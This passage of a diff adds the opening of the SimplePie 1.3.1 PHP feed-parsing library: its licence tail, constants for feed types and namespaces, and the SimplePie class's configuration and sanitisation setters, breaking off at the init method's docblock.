+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * SimplePie Name
+ */
+define('SIMPLEPIE_NAME', 'SimplePie');
+
+/**
+ * SimplePie Version
+ */
+define('SIMPLEPIE_VERSION', '1.3.1');
+
+/**
+ * SimplePie Build
+ * @todo Hardcode for release (there's no need to have to call SimplePie_Misc::get_build() only every load of simplepie.inc)
+ */
+define('SIMPLEPIE_BUILD', gmdate('YmdHis', SimplePie_Misc::get_build()));
+
+/**
+ * SimplePie Website URL
+ */
+define('SIMPLEPIE_URL', 'http://simplepie.org');
+
+/**
+ * SimplePie Useragent
+ * @see SimplePie::set_useragent()
+ */
+define('SIMPLEPIE_USERAGENT', SIMPLEPIE_NAME . '/' . SIMPLEPIE_VERSION . ' (Feed Parser; ' . SIMPLEPIE_URL . '; Allow like Gecko) Build/' . SIMPLEPIE_BUILD);
+
+/**
+ * SimplePie Linkback
+ */
+define('SIMPLEPIE_LINKBACK', '<a href="' . SIMPLEPIE_URL . '" title="' . SIMPLEPIE_NAME . ' ' . SIMPLEPIE_VERSION . '">' . SIMPLEPIE_NAME . '</a>');
+
+/**
+ * No Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_NONE', 0);
+
+/**
+ * Feed Link Element Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_AUTODISCOVERY', 1);
+
+/**
+ * Local Feed Extension Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_LOCAL_EXTENSION', 2);
+
+/**
+ * Local Feed Body Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_LOCAL_BODY', 4);
+
+/**
+ * Remote Feed Extension Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_REMOTE_EXTENSION', 8);
+
+/**
+ * Remote Feed Body Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_REMOTE_BODY', 16);
+
+/**
+ * All Feed Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_ALL', 31);
+
+/**
+ * No known feed type
+ */
+define('SIMPLEPIE_TYPE_NONE', 0);
+
+/**
+ * RSS 0.90
+ */
+define('SIMPLEPIE_TYPE_RSS_090', 1);
+
+/**
+ * RSS 0.91 (Netscape)
+ */
+define('SIMPLEPIE_TYPE_RSS_091_NETSCAPE', 2);
+
+/**
+ * RSS 0.91 (Userland)
+ */
+define('SIMPLEPIE_TYPE_RSS_091_USERLAND', 4);
+
+/**
+ * RSS 0.91 (both Netscape and Userland)
+ */
+define('SIMPLEPIE_TYPE_RSS_091', 6);
+
+/**
+ * RSS 0.92
+ */
+define('SIMPLEPIE_TYPE_RSS_092', 8);
+
+/**
+ * RSS 0.93
+ */
+define('SIMPLEPIE_TYPE_RSS_093', 16);
+
+/**
+ * RSS 0.94
+ */
+define('SIMPLEPIE_TYPE_RSS_094', 32);
+
+/**
+ * RSS 1.0
+ */
+define('SIMPLEPIE_TYPE_RSS_10', 64);
+
+/**
+ * RSS 2.0
+ */
+define('SIMPLEPIE_TYPE_RSS_20', 128);
+
+/**
+ * RDF-based RSS
+ */
+define('SIMPLEPIE_TYPE_RSS_RDF', 65);
+
+/**
+ * Non-RDF-based RSS (truly intended as syndication format)
+ */
+define('SIMPLEPIE_TYPE_RSS_SYNDICATION', 190);
+
+/**
+ * All RSS
+ */
+define('SIMPLEPIE_TYPE_RSS_ALL', 255);
+
+/**
+ * Atom 0.3
+ */
+define('SIMPLEPIE_TYPE_ATOM_03', 256);
+
+/**
+ * Atom 1.0
+ */
+define('SIMPLEPIE_TYPE_ATOM_10', 512);
+
+/**
+ * All Atom
+ */
+define('SIMPLEPIE_TYPE_ATOM_ALL', 768);
+
+/**
+ * All feed types
+ */
+define('SIMPLEPIE_TYPE_ALL', 1023);
+
+/**
+ * No construct
+ */
+define('SIMPLEPIE_CONSTRUCT_NONE', 0);
+
+/**
+ * Text construct
+ */
+define('SIMPLEPIE_CONSTRUCT_TEXT', 1);
+
+/**
+ * HTML construct
+ */
+define('SIMPLEPIE_CONSTRUCT_HTML', 2);
+
+/**
+ * XHTML construct
+ */
+define('SIMPLEPIE_CONSTRUCT_XHTML', 4);
+
+/**
+ * base64-encoded construct
+ */
+define('SIMPLEPIE_CONSTRUCT_BASE64', 8);
+
+/**
+ * IRI construct
+ */
+define('SIMPLEPIE_CONSTRUCT_IRI', 16);
+
+/**
+ * A construct that might be HTML
+ */
+define('SIMPLEPIE_CONSTRUCT_MAYBE_HTML', 32);
+
+/**
+ * All constructs
+ */
+define('SIMPLEPIE_CONSTRUCT_ALL', 63);
+
+/**
+ * Don't change case
+ */
+define('SIMPLEPIE_SAME_CASE', 1);
+
+/**
+ * Change to lowercase
+ */
+define('SIMPLEPIE_LOWERCASE', 2);
+
+/**
+ * Change to uppercase
+ */
+define('SIMPLEPIE_UPPERCASE', 4);
+
+/**
+ * PCRE for HTML attributes
+ */
+define('SIMPLEPIE_PCRE_HTML_ATTRIBUTE', '((?:[\x09\x0A\x0B\x0C\x0D\x20]+[^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?)*)[\x09\x0A\x0B\x0C\x0D\x20]*');
+
+/**
+ * PCRE for XML attributes
+ */
+define('SIMPLEPIE_PCRE_XML_ATTRIBUTE', '((?:\s+(?:(?:[^\s:]+:)?[^\s:]+)\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'))*)\s*');
+
+/**
+ * XML Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_XML', 'http://www.w3.org/XML/1998/namespace');
+
+/**
+ * Atom 1.0 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_ATOM_10', 'http://www.w3.org/2005/Atom');
+
+/**
+ * Atom 0.3 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_ATOM_03', 'http://purl.org/atom/ns#');
+
+/**
+ * RDF Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_RDF', 'http://www.w3.org/1999/02/22-rdf-syntax-ns#');
+
+/**
+ * RSS 0.90 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_RSS_090', 'http://my.netscape.com/rdf/simple/0.9/');
+
+/**
+ * RSS 1.0 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_RSS_10', 'http://purl.org/rss/1.0/');
+
+/**
+ * RSS 1.0 Content Module Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT', 'http://purl.org/rss/1.0/modules/content/');
+
+/**
+ * RSS 2.0 Namespace
+ * (Stupid, I know, but I'm certain it will confuse people less with support.)
+ */
+define('SIMPLEPIE_NAMESPACE_RSS_20', '');
+
+/**
+ * DC 1.0 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_DC_10', 'http://purl.org/dc/elements/1.0/');
+
+/**
+ * DC 1.1 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_DC_11', 'http://purl.org/dc/elements/1.1/');
+
+/**
+ * W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO', 'http://www.w3.org/2003/01/geo/wgs84_pos#');
+
+/**
+ * GeoRSS Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_GEORSS', 'http://www.georss.org/georss');
+
+/**
+ * Media RSS Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_MEDIARSS', 'http://search.yahoo.com/mrss/');
+
+/**
+ * Wrong Media RSS Namespace. Caused by a long-standing typo in the spec.
+ */
+define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG', 'http://search.yahoo.com/mrss');
+
+/**
+ * Wrong Media RSS Namespace #2. New namespace introduced in Media RSS 1.5.
+ */
+define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2', 'http://video.search.yahoo.com/mrss');
+
+/**
+ * Wrong Media RSS Namespace #3. A possible typo of the Media RSS 1.5 namespace.
+ */
+define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3', 'http://video.search.yahoo.com/mrss/');
+
+/**
+ * Wrong Media RSS Namespace #4. New spec location after the RSS Advisory Board takes it over, but not a valid namespace.
+ */
+define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4', 'http://www.rssboard.org/media-rss');
+
+/**
+ * Wrong Media RSS Namespace #5. A possible typo of the RSS Advisory Board URL.
+ */
+define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5', 'http://www.rssboard.org/media-rss/');
+
+/**
+ * iTunes RSS Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_ITUNES', 'http://www.itunes.com/dtds/podcast-1.0.dtd');
+
+/**
+ * XHTML Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_XHTML', 'http://www.w3.org/1999/xhtml');
+
+/**
+ * IANA Link Relations Registry
+ */
+define('SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY', 'http://www.iana.org/assignments/relation/');
+
+/**
+ * No file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_NONE', 0);
+
+/**
+ * Remote file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_REMOTE', 1);
+
+/**
+ * Local file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_LOCAL', 2);
+
+/**
+ * fsockopen() file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_FSOCKOPEN', 4);
+
+/**
+ * cURL file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_CURL', 8);
+
+/**
+ * file_get_contents() file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS', 16);
+
+
+
+/**
+ * SimplePie
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie
+{
+	/**
+	 * @var array Raw data
+	 * @access private
+	 */
+	public $data = array();
+
+	/**
+	 * @var mixed Error string
+	 * @access private
+	 */
+	public $error;
+
+	/**
+	 * @var object Instance of SimplePie_Sanitize (or other class)
+	 * @see SimplePie::set_sanitize_class()
+	 * @access private
+	 */
+	public $sanitize;
+
+	/**
+	 * @var string SimplePie Useragent
+	 * @see SimplePie::set_useragent()
+	 * @access private
+	 */
+	public $useragent = SIMPLEPIE_USERAGENT;
+
+	/**
+	 * @var string Feed URL
+	 * @see SimplePie::set_feed_url()
+	 * @access private
+	 */
+	public $feed_url;
+
+	/**
+	 * @var object Instance of SimplePie_File to use as a feed
+	 * @see SimplePie::set_file()
+	 * @access private
+	 */
+	public $file;
+
+	/**
+	 * @var string Raw feed data
+	 * @see SimplePie::set_raw_data()
+	 * @access private
+	 */
+	public $raw_data;
+
+	/**
+	 * @var int Timeout for fetching remote files
+	 * @see SimplePie::set_timeout()
+	 * @access private
+	 */
+	public $timeout = 10;
+
+	/**
+	 * @var bool Forces fsockopen() to be used for remote files instead
+	 * of cURL, even if a new enough version is installed
+	 * @see SimplePie::force_fsockopen()
+	 * @access private
+	 */
+	public $force_fsockopen = false;
+
+	/**
+	 * @var bool Force the given data/URL to be treated as a feed no matter what
+	 * it appears like
+	 * @see SimplePie::force_feed()
+	 * @access private
+	 */
+	public $force_feed = false;
+
+	/**
+	 * @var bool Enable/Disable Caching
+	 * @see SimplePie::enable_cache()
+	 * @access private
+	 */
+	public $cache = true;
+
+	/**
+	 * @var int Cache duration (in seconds)
+	 * @see SimplePie::set_cache_duration()
+	 * @access private
+	 */
+	public $cache_duration = 3600;
+
+	/**
+	 * @var int Auto-discovery cache duration (in seconds)
+	 * @see SimplePie::set_autodiscovery_cache_duration()
+	 * @access private
+	 */
+	public $autodiscovery_cache_duration = 604800; // 7 Days.
+
+	/**
+	 * @var string Cache location (relative to executing script)
+	 * @see SimplePie::set_cache_location()
+	 * @access private
+	 */
+	public $cache_location = './cache';
+
+	/**
+	 * @var string Function that creates the cache filename
+	 * @see SimplePie::set_cache_name_function()
+	 * @access private
+	 */
+	public $cache_name_function = 'md5';
+
+	/**
+	 * @var bool Reorder feed by date descending
+	 * @see SimplePie::enable_order_by_date()
+	 * @access private
+	 */
+	public $order_by_date = true;
+
+	/**
+	 * @var mixed Force input encoding to be set to the follow value
+	 * (false, or anything type-cast to false, disables this feature)
+	 * @see SimplePie::set_input_encoding()
+	 * @access private
+	 */
+	public $input_encoding = false;
+
+	/**
+	 * @var int Feed Autodiscovery Level
+	 * @see SimplePie::set_autodiscovery_level()
+	 * @access private
+	 */
+	public $autodiscovery = SIMPLEPIE_LOCATOR_ALL;
+
+	/**
+	 * Class registry object
+	 *
+	 * @var SimplePie_Registry
+	 */
+	public $registry;
+
+	/**
+	 * @var int Maximum number of feeds to check with autodiscovery
+	 * @see SimplePie::set_max_checked_feeds()
+	 * @access private
+	 */
+	public $max_checked_feeds = 10;
+
+	/**
+	 * @var array All the feeds found during the autodiscovery process
+	 * @see SimplePie::get_all_discovered_feeds()
+	 * @access private
+	 */
+	public $all_discovered_feeds = array();
+
+	/**
+	 * @var string Web-accessible path to the handler_image.php file.
+	 * @see SimplePie::set_image_handler()
+	 * @access private
+	 */
+	public $image_handler = '';
+
+	/**
+	 * @var array Stores the URLs when multiple feeds are being initialized.
+	 * @see SimplePie::set_feed_url()
+	 * @access private
+	 */
+	public $multifeed_url = array();
+
+	/**
+	 * @var array Stores SimplePie objects when multiple feeds initialized.
+	 * @access private
+	 */
+	public $multifeed_objects = array();
+
+	/**
+	 * @var array Stores the get_object_vars() array for use with multifeeds.
+	 * @see SimplePie::set_feed_url()
+	 * @access private
+	 */
+	public $config_settings = null;
+
+	/**
+	 * @var integer Stores the number of items to return per-feed with multifeeds.
+	 * @see SimplePie::set_item_limit()
+	 * @access private
+	 */
+	public $item_limit = 0;
+
+	/**
+	 * @var array Stores the default attributes to be stripped by strip_attributes().
+	 * @see SimplePie::strip_attributes()
+	 * @access private
+	 */
+	public $strip_attributes = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc');
+
+	/**
+	 * @var array Stores the default tags to be stripped by strip_htmltags().
+	 * @see SimplePie::strip_htmltags()
+	 * @access private
+	 */
+	public $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style');
+
+	/**
+	 * The SimplePie class contains feed level data and options
+	 *
+	 * To use SimplePie, create the SimplePie object with no parameters. You can
+	 * then set configuration options using the provided methods. After setting
+	 * them, you must initialise the feed using $feed->init(). At that point the
+	 * object's methods and properties will be available to you.
+	 *
+	 * Previously, it was possible to pass in the feed URL along with cache
+	 * options directly into the constructor. This has been removed as of 1.3 as
+	 * it caused a lot of confusion.
+	 *
+	 * @since 1.0 Preview Release
+	 */
+	public function __construct()
+	{
+		if (version_compare(PHP_VERSION, '5.2', '<'))
+		{
+			trigger_error('PHP 4.x, 5.0 and 5.1 are no longer supported. Please upgrade to PHP 5.2 or newer.');
+			die();
+		}
+
+		// Other objects, instances created here so we can set options on them
+		$this->sanitize = new SimplePie_Sanitize();
+		$this->registry = new SimplePie_Registry();
+
+		if (func_num_args() > 0)
+		{
+			$level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING;
+			trigger_error('Passing parameters to the constructor is no longer supported. Please use set_feed_url(), set_cache_location(), and set_cache_location() directly.', $level);
+
+			$args = func_get_args();
+			switch (count($args)) {
+				case 3:
+					$this->set_cache_duration($args[2]);
+				case 2:
+					$this->set_cache_location($args[1]);
+				case 1:
+					$this->set_feed_url($args[0]);
+					$this->init();
+			}
+		}
+	}
+
+	/**
+	 * Used for converting object to a string
+	 */
+	public function __toString()
+	{
+		return md5(serialize($this->data));
+	}
+
+	/**
+	 * Remove items that link back to this before destroying this object
+	 */
+	public function __destruct()
+	{
+		if ((version_compare(PHP_VERSION, '5.3', '<') || !gc_enabled()) && !ini_get('zend.ze1_compatibility_mode'))
+		{
+			if (!empty($this->data['items']))
+			{
+				foreach ($this->data['items'] as $item)
+				{
+					$item->__destruct();
+				}
+				unset($item, $this->data['items']);
+			}
+			if (!empty($this->data['ordered_items']))
+			{
+				foreach ($this->data['ordered_items'] as $item)
+				{
+					$item->__destruct();
+				}
+				unset($item, $this->data['ordered_items']);
+			}
+		}
+	}
+
+	/**
+	 * Force the given data/URL to be treated as a feed
+	 *
+	 * This tells SimplePie to ignore the content-type provided by the server.
+	 * Be careful when using this option, as it will also disable autodiscovery.
+	 *
+	 * @since 1.1
+	 * @param bool $enable Force the given data/URL to be treated as a feed
+	 */
+	public function force_feed($enable = false)
+	{
+		$this->force_feed = (bool) $enable;
+	}
+
+	/**
+	 * Set the URL of the feed you want to parse
+	 *
+	 * This allows you to enter the URL of the feed you want to parse, or the
+	 * website you want to try to use auto-discovery on. This takes priority
+	 * over any set raw data.
+	 *
+	 * You can set multiple feeds to mash together by passing an array instead
+	 * of a string for the $url. Remember that with each additional feed comes
+	 * additional processing and resources.
+	 *
+	 * @since 1.0 Preview Release
+	 * @see set_raw_data()
+	 * @param string|array $url This is the URL (or array of URLs) that you want to parse.
+	 */
+	public function set_feed_url($url)
+	{
+		$this->multifeed_url = array();
+		if (is_array($url))
+		{
+			foreach ($url as $value)
+			{
+				$this->multifeed_url[] = $this->registry->call('Misc', 'fix_protocol', array($value, 1));
+			}
+		}
+		else
+		{
+			$this->feed_url = $this->registry->call('Misc', 'fix_protocol', array($url, 1));
+		}
+	}
+
+	/**
+	 * Set an instance of {@see SimplePie_File} to use as a feed
+	 *
+	 * @param SimplePie_File &$file
+	 * @return bool True on success, false on failure
+	 */
+	public function set_file(&$file)
+	{
+		if ($file instanceof SimplePie_File)
+		{
+			$this->feed_url = $file->url;
+			$this->file =& $file;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Set the raw XML data to parse
+	 *
+	 * Allows you to use a string of RSS/Atom data instead of a remote feed.
+	 *
+	 * If you have a feed available as a string in PHP, you can tell SimplePie
+	 * to parse that data string instead of a remote feed. Any set feed URL
+	 * takes precedence.
+	 *
+	 * @since 1.0 Beta 3
+	 * @param string $data RSS or Atom data as a string.
+	 * @see set_feed_url()
+	 */
+	public function set_raw_data($data)
+	{
+		$this->raw_data = $data;
+	}
+
+	/**
+	 * Set the the default timeout for fetching remote feeds
+	 *
+	 * This allows you to change the maximum time the feed's server to respond
+	 * and send the feed back.
+	 *
+	 * @since 1.0 Beta 3
+	 * @param int $timeout The maximum number of seconds to spend waiting to retrieve a feed.
+	 */
+	public function set_timeout($timeout = 10)
+	{
+		$this->timeout = (int) $timeout;
+	}
+
+	/**
+	 * Force SimplePie to use fsockopen() instead of cURL
+	 *
+	 * @since 1.0 Beta 3
+	 * @param bool $enable Force fsockopen() to be used
+	 */
+	public function force_fsockopen($enable = false)
+	{
+		$this->force_fsockopen = (bool) $enable;
+	}
+
+	/**
+	 * Enable/disable caching in SimplePie.
+	 *
+	 * This option allows you to disable caching all-together in SimplePie.
+	 * However, disabling the cache can lead to longer load times.
+	 *
+	 * @since 1.0 Preview Release
+	 * @param bool $enable Enable caching
+	 */
+	public function enable_cache($enable = true)
+	{
+		$this->cache = (bool) $enable;
+	}
+
+	/**
+	 * Set the length of time (in seconds) that the contents of a feed will be
+	 * cached
+	 *
+	 * @param int $seconds The feed content cache duration
+	 */
+	public function set_cache_duration($seconds = 3600)
+	{
+		$this->cache_duration = (int) $seconds;
+	}
+
+	/**
+	 * Set the length of time (in seconds) that the autodiscovered feed URL will
+	 * be cached
+	 *
+	 * @param int $seconds The autodiscovered feed URL cache duration.
+	 */
+	public function set_autodiscovery_cache_duration($seconds = 604800)
+	{
+		$this->autodiscovery_cache_duration = (int) $seconds;
+	}
+
+	/**
+	 * Set the file system location where the cached files should be stored
+	 *
+	 * @param string $location The file system location.
+	 */
+	public function set_cache_location($location = './cache')
+	{
+		$this->cache_location = (string) $location;
+	}
+
+	/**
+	 * Set whether feed items should be sorted into reverse chronological order
+	 *
+	 * @param bool $enable Sort as reverse chronological order.
+	 */
+	public function enable_order_by_date($enable = true)
+	{
+		$this->order_by_date = (bool) $enable;
+	}
+
+	/**
+	 * Set the character encoding used to parse the feed
+	 *
+	 * This overrides the encoding reported by the feed, however it will fall
+	 * back to the normal encoding detection if the override fails
+	 *
+	 * @param string $encoding Character encoding
+	 */
+	public function set_input_encoding($encoding = false)
+	{
+		if ($encoding)
+		{
+			$this->input_encoding = (string) $encoding;
+		}
+		else
+		{
+			$this->input_encoding = false;
+		}
+	}
+
+	/**
+	 * Set how much feed autodiscovery to do
+	 *
+	 * @see SIMPLEPIE_LOCATOR_NONE
+	 * @see SIMPLEPIE_LOCATOR_AUTODISCOVERY
+	 * @see SIMPLEPIE_LOCATOR_LOCAL_EXTENSION
+	 * @see SIMPLEPIE_LOCATOR_LOCAL_BODY
+	 * @see SIMPLEPIE_LOCATOR_REMOTE_EXTENSION
+	 * @see SIMPLEPIE_LOCATOR_REMOTE_BODY
+	 * @see SIMPLEPIE_LOCATOR_ALL
+	 * @param int $level Feed Autodiscovery Level (level can be a combination of the above constants, see bitwise OR operator)
+	 */
+	public function set_autodiscovery_level($level = SIMPLEPIE_LOCATOR_ALL)
+	{
+		$this->autodiscovery = (int) $level;
+	}
+
+	/**
+	 * Get the class registry
+	 *
+	 * Use this to override SimplePie's default classes
+	 * @see SimplePie_Registry
+	 * @return SimplePie_Registry
+	 */
+	public function &get_registry()
+	{
+		return $this->registry;
+	}
+
+	/**#@+
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @deprecated Use {@see get_registry()} instead
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 * @param string $class Name of custom class
+	 * @return boolean True on success, false otherwise
+	 */
+	/**
+	 * Set which class SimplePie uses for caching
+	 */
+	public function set_cache_class($class = 'SimplePie_Cache')
+	{
+		return $this->registry->register('Cache', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for auto-discovery
+	 */
+	public function set_locator_class($class = 'SimplePie_Locator')
+	{
+		return $this->registry->register('Locator', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for XML parsing
+	 */
+	public function set_parser_class($class = 'SimplePie_Parser')
+	{
+		return $this->registry->register('Parser', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for remote file fetching
+	 */
+	public function set_file_class($class = 'SimplePie_File')
+	{
+		return $this->registry->register('File', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for data sanitization
+	 */
+	public function set_sanitize_class($class = 'SimplePie_Sanitize')
+	{
+		return $this->registry->register('Sanitize', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for handling feed items
+	 */
+	public function set_item_class($class = 'SimplePie_Item')
+	{
+		return $this->registry->register('Item', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for handling author data
+	 */
+	public function set_author_class($class = 'SimplePie_Author')
+	{
+		return $this->registry->register('Author', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for handling category data
+	 */
+	public function set_category_class($class = 'SimplePie_Category')
+	{
+		return $this->registry->register('Category', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for feed enclosures
+	 */
+	public function set_enclosure_class($class = 'SimplePie_Enclosure')
+	{
+		return $this->registry->register('Enclosure', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for `<media:text>` captions
+	 */
+	public function set_caption_class($class = 'SimplePie_Caption')
+	{
+		return $this->registry->register('Caption', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for `<media:copyright>`
+	 */
+	public function set_copyright_class($class = 'SimplePie_Copyright')
+	{
+		return $this->registry->register('Copyright', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for `<media:credit>`
+	 */
+	public function set_credit_class($class = 'SimplePie_Credit')
+	{
+		return $this->registry->register('Credit', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for `<media:rating>`
+	 */
+	public function set_rating_class($class = 'SimplePie_Rating')
+	{
+		return $this->registry->register('Rating', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for `<media:restriction>`
+	 */
+	public function set_restriction_class($class = 'SimplePie_Restriction')
+	{
+		return $this->registry->register('Restriction', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for content-type sniffing
+	 */
+	public function set_content_type_sniffer_class($class = 'SimplePie_Content_Type_Sniffer')
+	{
+		return $this->registry->register('Content_Type_Sniffer', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses item sources
+	 */
+	public function set_source_class($class = 'SimplePie_Source')
+	{
+		return $this->registry->register('Source', $class, true);
+	}
+	/**#@-*/
+
+	/**
+	 * Set the user agent string
+	 *
+	 * @param string $ua New user agent string.
+	 */
+	public function set_useragent($ua = SIMPLEPIE_USERAGENT)
+	{
+		$this->useragent = (string) $ua;
+	}
+
+	/**
+	 * Set callback function to create cache filename with
+	 *
+	 * @param mixed $function Callback function
+	 */
+	public function set_cache_name_function($function = 'md5')
+	{
+		if (is_callable($function))
+		{
+			$this->cache_name_function = $function;
+		}
+	}
+
+	/**
+	 * Set options to make SP as fast as possible
+	 *
+	 * Forgoes a substantial amount of data sanitization in favor of speed. This
+	 * turns SimplePie into a dumb parser of feeds.
+	 *
+	 * @param bool $set Whether to set them or not
+	 */
+	public function set_stupidly_fast($set = false)
+	{
+		if ($set)
+		{
+			$this->enable_order_by_date(false);
+			$this->remove_div(false);
+			$this->strip_comments(false);
+			$this->strip_htmltags(false);
+			$this->strip_attributes(false);
+			$this->set_image_handler(false);
+		}
+	}
+
+	/**
+	 * Set maximum number of feeds to check with autodiscovery
+	 *
+	 * @param int $max Maximum number of feeds to check
+	 */
+	public function set_max_checked_feeds($max = 10)
+	{
+		$this->max_checked_feeds = (int) $max;
+	}
+
+	public function remove_div($enable = true)
+	{
+		$this->sanitize->remove_div($enable);
+	}
+
+	public function strip_htmltags($tags = '', $encode = null)
+	{
+		if ($tags === '')
+		{
+			$tags = $this->strip_htmltags;
+		}
+		$this->sanitize->strip_htmltags($tags);
+		if ($encode !== null)
+		{
+			$this->sanitize->encode_instead_of_strip($tags);
+		}
+	}
+
+	public function encode_instead_of_strip($enable = true)
+	{
+		$this->sanitize->encode_instead_of_strip($enable);
+	}
+
+	public function strip_attributes($attribs = '')
+	{
+		if ($attribs === '')
+		{
+			$attribs = $this->strip_attributes;
+		}
+		$this->sanitize->strip_attributes($attribs);
+	}
+
+	/**
+	 * Set the output encoding
+	 *
+	 * Allows you to override SimplePie's output to match that of your webpage.
+	 * This is useful for times when your webpages are not being served as
+	 * UTF-8.  This setting will be obeyed by {@see handle_content_type()}, and
+	 * is similar to {@see set_input_encoding()}.
+	 *
+	 * It should be noted, however, that not all character encodings can support
+	 * all characters.  If your page is being served as ISO-8859-1 and you try
+	 * to display a Japanese feed, you'll likely see garbled characters.
+	 * Because of this, it is highly recommended to ensure that your webpages
+	 * are served as UTF-8.
+	 *
+	 * The number of supported character encodings depends on whether your web
+	 * host supports {@link http://php.net/mbstring mbstring},
+	 * {@link http://php.net/iconv iconv}, or both. See
+	 * {@link http://simplepie.org/wiki/faq/Supported_Character_Encodings} for
+	 * more information.
+	 *
+	 * @param string $encoding
+	 */
+	public function set_output_encoding($encoding = 'UTF-8')
+	{
+		$this->sanitize->set_output_encoding($encoding);
+	}
+
+	public function strip_comments($strip = false)
+	{
+		$this->sanitize->strip_comments($strip);
+	}
+
+	/**
+	 * Set element/attribute key/value pairs of HTML attributes
+	 * containing URLs that need to be resolved relative to the feed
+	 *
+	 * Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite,
+	 * |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite,
+	 * |q|@cite
+	 *
+	 * @since 1.0
+	 * @param array|null $element_attribute Element/attribute key/value pairs, null for default
+	 */
+	public function set_url_replacements($element_attribute = null)
+	{
+		$this->sanitize->set_url_replacements($element_attribute);
+	}
+
+	/**
+	 * Set the handler to enable the display of cached images.
+	 *
+	 * @param str $page Web-accessible path to the handler_image.php file.
+	 * @param str $qs The query string that the value should be passed to.
+	 */
+	public function set_image_handler($page = false, $qs = 'i')
+	{
+		if ($page !== false)
+		{
+			$this->sanitize->set_image_handler($page . '?' . $qs . '=');
+		}
+		else
+		{
+			$this->image_handler = '';
+		}
+	}
+
+	/**
+	 * Set the limit for items returned per-feed with multifeeds
+	 *
+	 * @param integer $limit The maximum number of items to return.
+	 */
+	public function set_item_limit($limit = 0)
+	{
+		$this->item_limit = (int) $limit;
+	}
+
+	/**
+	 * Initialize the feed object
+	 *
+	 * This is what makes everything happen.  Period.  This is where all of the
+	 * configuration options get processed, feeds are fetched, cached, and
